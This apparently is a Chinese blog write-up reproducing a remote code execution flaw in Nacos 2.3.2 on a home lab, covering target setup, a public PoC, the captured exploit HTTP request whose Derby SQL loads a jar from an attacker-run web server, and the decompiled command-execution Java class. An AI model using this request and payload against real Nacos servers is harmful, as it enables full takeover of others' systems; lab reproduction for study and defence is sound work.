nacos 1day保姆级复现

产品概述

NACOS是一个开源的服务发现、配置管理和服务治理平,属于阿里巴巴的一款开源产品

image-20240720090243294

2.3.2版本的nacos存在远程代码执行漏洞,攻击者可以在远程服务器上执行任意代码,进而让攻击者完全控制受影响的系统,导致严重的安全问题

环境搭建

我的环境是搭建在虚拟机Ubuntu上的,折腾搭建靶场也折腾了蛮久的,主要是编译太久了,大概有一个小时才编译好吧,这里我会详细记录每一步搭建过程,以帮助大家更好地搭建靶场

我的Ubuntu版本是22.0.4TLS版本,我觉得版本影响应该不是很大,首先要确保自己的虚拟机里有JDK环境,如果你是新搭建的虚拟机,我建议先要安装JDK,使用如下的命令安装JDK

sudo apt install openjdk-17

安装好JDK后我们去GitHub上拉取项目,项目地址如下

https://github.com/alibaba/nacos/releases/tag/2.3.2

我这里使用的是git clone,相关命令如下所示

git clone https://github.com/alibaba/nacos.git
cd nacos
git checkout tags/2.3.2 #将2.3.2版本的标签提取出来
git describe --tags #查看自己的版本是不是2.3.2
sudo apt install maven #安装maven
mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U #构建项目,这一步时间比较长,耐心等待,我构建了快1个小时
cd distribution/target
unzip nacos-server-2.3.2.zip
cd nacos/bin
./startup.sh -m standalone #启动项目

5c85ffa8-6389-4b21-a350-ccfa9774719d

出现上面的结果就代表成功,我们直接用浏览器访问我们虚拟机的8848端口(记得提前放行),比如我访问http://192.168.153.133:8848/nacos/就可以打开我们想要的靶机,如下图所示

image-20240720093000574

漏洞复现

我们先去github上把poc下载下来,但是现在好像被删了,还好我已经下载了

https://github.com/ayoundzw/nacos-poc
https://github.com/ikun123234/nacos-poc #上面那个访问不了就去这里下载

image-20240720094306472

在实现漏洞复现之前,要先安装好requirements.txt中的东西,即安装好flask和requests,然后我们将config.py中的host改成自己本机局域网IP,端口设置为没被占用的端口,这里实际上是让我们启动一个web服务,然后让nacos去访问我的web服务的内容

image-20240720095034460

运行命令python service.py启动web服务,出现下面的情况就代表我们服务启动成功

image-20240720095342230

然后我们再运行一下python exploit.py ,看看会有什么效果出现

我们可以发现会弹出计算器,因为我们输入的默认命令就是calc;达到任意命令执行的目的,复现成功

漏洞分析

有点看不太懂这个漏洞,和内存🐎有点关系,这边直接嫖带头大哥的解释了

当我们运行我们的指令的时候,会发现我们会去请求service.py启动的web服务的./download模块

我们转到service.py,看到里面写了个payload

image-20240720112821731

很显然,根本看不懂在写些什么,我们先看exploit.py干了什么,在exploit.py中加个代理,抓取的数据包如下

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: host
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 488
Content-Type: multipart/form-data; boundary=111111111111111111111111

--11111111111111111111111111111
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.197.56:8000/download', 'NACOS.aKjwPoiU', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aKjwPoiU')

        CREATE FUNCTION S_EXAMPLE_aKjwPoiU( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--111111111111111111111111111111--

我们可以直接执行service的url地址,比如http://192.168.153.1:8000/download直接保存为1.jar,反编译就可以看见里面的内容

image-20240720114617842

我们可以直接执行,就可以弹计算器了

public class Example {
    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }

    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();
        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != null && osName.startsWith("Windows")) {
                charset = "gbk";
            }
            Process p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis, charset);
            BufferedReader br = new BufferedReader(isr);
            while (true) {
                String line = br.readLine();
                if (line == null) {
                    return bf.toString();
                }
                bf.append(line);
            }
        } catch (Exception e) {
            StringWriter writer = new StringWriter();
            PrintWriter printer = new PrintWriter(writer);
            e.printStackTrace(printer);
            try {
                writer.close();
                printer.close();
            } catch (IOException e2) {
            }
            return "ERROR:" + writer.toString();
        }
    }
}

所以基本步骤是生成一个jar,然后转化为base64的bin。填入servic.py里面的payload就行,应该是利用nacos的sql注入漏洞就可以导致一系列的连锁反应,敬佩大佬!!!

  • 17
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值